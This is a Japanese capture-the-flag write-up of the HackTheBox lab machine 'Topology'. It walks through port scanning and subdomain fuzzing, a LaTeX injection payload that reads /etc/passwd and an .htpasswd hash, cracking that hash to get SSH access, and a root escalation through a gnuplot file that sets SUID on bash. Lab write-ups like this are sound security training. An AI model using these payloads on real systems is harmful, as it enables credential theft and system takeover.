HackTheBox Topology WriteUp

今回はHackTheBox Easyマシン「Topology」のWriteUpです！
名前からはどのようなマシンなのかあまりわかりませんが、Easyマシンなのでサクッと攻略していきたいところです！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/a79a738f-6410-34fc-fd75-a45832191daa.png)
グラフはいつものEasyマシンという感じですね。
攻略めざして頑張ります！

HackTheBoxってなに？という方はこちらの記事を見てみてください。一緒にハッキングしましょう！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## Topology

### 攻略

それでは攻略を開始しましょう。
まずは、nmapから実行していきます。
```bash
$ sudo nmap -Pn -p- -v -sS --reason --min-rate=1000 -A 10.10.11.217

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 dc:bc:32:86:e8:e8:45:78:10:bc:2b:5d:bf:0f:55:c6 (RSA)
|   256 d9:f3:39:69:2c:6c:27:f1:a9:2d:50:6c:a7:9f:1c:33 (ECDSA)
|_  256 4c:a6:50:75:d0:93:4f:9c:4a:1b:89:0a:7a:27:08:d7 (ED25519)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-title: Miskatonic University | Topology Group
```
いつものように、22番と80番を確認しました。
80番が開いていることを確認したので、ブラウザでアクセスしてみましょう。
![スクリーンショット 2023-10-14 23.16.41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/ce4ae459-1167-a7a3-e348-9ea02be2bbbf.png)
大学のホームページが表示されました。
特に遷移はないかと思いましたが、一つだけ、Staffの少し下あたりに```http://latex.topology.htb/equation.php```へのリンクを発見しました。hostsファイルに追加し、アクセスしてみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/2ca39b0d-df29-35c5-e233-6541592e5cd1.png)
ユーザの入力からPDFファイルを生成するページが表示されました。
ページ内の説明を見てみると、LaTeX codeに該当する文字列を入力した場合、それに対応する形で出力され、PDFファイルが生成されるようです。
試しに```\alpha21```と入力してみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/783aad4a-b490-d49f-00d9-37f708d4756c.png)
かなり小さいですが```\alpha```が```α```として出力されていることが分かります。
これでLaTeXが正常に機能していることがわかったので、LaTeXを使用してなにかできないか試してみます。

### LaTeX Injection

では、何を試すかですがLaTeXで有名な攻撃として、```LaTeX Injection```があります。HackTricksにも情報がまとめられています。

https://book.hacktricks.xyz/pentesting-web/formula-doc-latex-injection#latex-injection

では、ファイルが読み込めるか試してみたいと思います。
下記の文字列を使用します。
```
\lstinputlisting{/etc/passwd}
```
上記の文字列でうまく発火した場合は、```/etc/passwd```を読み込みます。
それでは、PDFを生成してみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/b2f3db28-3d4e-5da0-e0a9-95d9f966c540.png)
エラーが出てしまいました。HackTricksをもう一度確認してみると、ラッパーとして```[```か```$```を使用する必要があるようです。今回は、```$```を使用しました。
最終的に入力した文字列は下記の通りです。
```
$\lstinputlisting{/etc/passwd}$
```
それでは、PDFを生成してみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/a3fa0e2f-b719-dcd6-482d-7d0fd4d4babe.png)
上手く読み込むことが出来ました！
攻撃が成功したので、侵入に繋がる情報がないかを調査していきましょう。

話が少し飛ぶのですが、いくつかの列挙を同時に行っていると新たなサブドメインを発見しました。
```bash
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "HOST: FUZZ.topology.htb" -u http://10.10.11.217 -fs 6767

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/'    

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.217
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.topology.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 6767
________________________________________________

[Status: 401, Size: 463, Words: 42, Lines: 15, Duration: 3907ms]
    * FUZZ: dev

[Status: 200, Size: 108, Words: 5, Lines: 6, Duration: 1905ms]
    * FUZZ: stats
```
ここで気になるのは、```dev```というサブドメインが401を返していることです。
サブドメインでWebが起動しているとき、ディレクトリの構成としては```/var/www/<sub domain>```となることが多いです。今回であれば```/var/www/dev```となります。
また、代表的な怪しいファイルとして```.htpasswd```があります。パスワードが保存されている可能性があるので、```/var/www/dev/.htpasswd```をLaTeX Injectionで読み取ってみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/9ba1681e-41b0-89ee-6951-41c819d11299.png)
ハッシュ化されたパスワードが出力されました！

## vdaisley としてのシェル

まずはハッシュタイプを検索します。
```bash
$ hashcat --identify vdaisley.txt                              
The following hash-mode match the structure of your input hash:

      # | Name                                                       | Category
  ======+============================================================+======================================
   1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR)                      | FTP, HTTP, SMTP, LDAP Server
```
MD5であることが分かりました。
タイプもわかったので、1600を指定し、hashcatで解読できるか試してみましょう。
```bash
$ hashcat -m 1600 vdaisley.txt /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-sandybridge-12th Gen Intel(R) Core(TM) i7-1250U, 2910/5884 MB (1024 MB allocatable), 4MCU

$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0:calculus20          
```
解読できました！
それでは、SSH接続を試してみましょう。
```bash
$ ssh vdaisley@10.10.11.217
vdaisley@10.10.11.217s password: 
vdaisley@topology:~$ whoami
vdaisley
```
侵入成功です！
```bash
vdaisley@topology:~$ ls -l
total 4
-rw-r----- 1 root vdaisley 33 Oct 20 09:23 user.txt
```
ユーザフラグもゲットすることが出来ました！

### 権限昇格

それではこの調子で、権限昇格も目指していきましょう！
まずは、お決まりの```sudo -l```からです。
```bash
vdaisley@topology:~$ sudo -l
[sudo] password for vdaisley: 
Sorry, user vdaisley may not run sudo on topology.
```
どうやら、sudoは実行できないようです。そう簡単には攻略させてもらえません。
sudoが実行できなかったので```linpeas```や```pspy```を使用し列挙していると、```pspy```で興味深いプロセスを発見しました。
```bash
2023/10/20 09:56:01 CMD: UID=0     PID=2371   | /bin/sh /opt/gnuplot/getdata.sh 
2023/10/20 09:56:01 CMD: UID=0     PID=2370   | gnuplot /opt/gnuplot/loadplot.plt 
2023/10/20 09:56:01 CMD: UID=0     PID=2369   | find /opt/gnuplot -name *.plt -exec gnuplot {} ; 
2023/10/20 09:56:01 CMD: UID=0     PID=2375   | /bin/sh /opt/gnuplot/getdata.sh 
2023/10/20 09:56:01 CMD: UID=0     PID=2377   | gnuplot /opt/gnuplot/networkplot.plt 
```
/opt/gnuplotにあるpltファイルをroot権限で実行していることが分かります。定期的に実行されているので、恐らくcronジョブで設定されていそうです。
/opt/gnuplotディレクトリに書き込む権限があれば、プロセスを悪用し権限昇格が行えそうです！権限を確認してみましょう。
```bash
vdaisley@topology:~$ ls -l /opt/
total 4
drwx-wx-wx 2 root root 4096 Oct 20 09:47 gnuplot
```
読み込み権限はないですが、書き込み権限があります！
どのように権限昇格を行うかですが、exploit notesにもまとめられています。

https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/gnuplot-privilege-escalation/

## root としてのシェル

それでは、権限を昇格させましょう！まずは、pltファイルを作成します。
今回使用するファイルの内容は下記の通りです。
```bash
vdaisley@topology:/tmp$ cat priv.plt
system "chmod u+s /bin/bash"
```
systemの後に記述したコマンドが実行されます。今回は、bashにSUIDを付与するようにします。
作成出来たら、/opt/gnuplot内にファイルをコピーします。
```bash
vdaisley@topology:/tmp$ cp priv.plt /opt/gnuplot/priv.plt
```
後は、cronによってコマンドが実行されることを待つのみです！
少し待ってから、bashの権限を確認してみましょう。
```bash
vdaisley@topology:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
```
SUIDが付与されています！権限を昇格させましょう！
```bash
vdaisley@topology:~$ bash -p
bash-5.0# whoami
root
```
権限昇格成功です！
```bash
bash-5.0# ls -l /root
total 4
-rw-r----- 1 root root 33 Oct 20 09:23 root.txt
```
フラグも取得でき、完全攻略達成です～～！！

### 攻略を終えて
今回のマシンは、どれだけGoogleを活用できるかにかかっていました。LaTeXやgnuplotを既に知っていた人も多いかなとは思いますが、知らない人でも調べることでマシンを攻略できるので、初心者でも解きやすいのではないかと思います。しかし、.htpasswdで認証情報を取得するところはなかなか気付くのが難しいのではないかと思いました。一つの脆弱性を見つけても広く列挙していくことが大切ですね。
今後もHackTheBoxのWriteUpを公開していきます！
最後まで閲覧していただきありがとうございました！！！！